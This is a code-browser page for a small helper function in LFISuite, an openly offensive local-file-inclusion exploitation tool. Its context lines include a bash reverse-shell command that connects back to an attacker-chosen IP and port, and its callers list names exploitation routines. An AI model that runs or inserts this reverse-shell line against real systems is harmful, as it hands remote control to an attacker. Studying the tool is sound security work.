MCPcopy
hub / github.com/D35m0nd142/LFISuite / checkIfReverseShell

Function checkIfReverseShell

lfisuite.py:143–146  ·  view source on GitHub ↗
(cmd)

Source from the content-addressed store, hash-verified

141 reverseConn = "bash -i >& /dev/tcp/%s/%s 0>&1" %(ipBack,portBack)
142
143def checkIfReverseShell(cmd):
144 if(cmd == "reverse shell" or cmd == "reverseshell"):
145 return True
146 return False
147
148def checkIfWindows(path):
149 if(victimOs == "Windows" or (len(path) > 0 and "\windows\system32" in path.lower())):

Callers 7

hackSEFunction · 0.85
run_phpinfoFunction · 0.85
access_log_whileFunction · 0.85
GetPassthruFunction · 0.85
run_phpinputFunction · 0.85
run_dataFunction · 0.85
run_expectFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected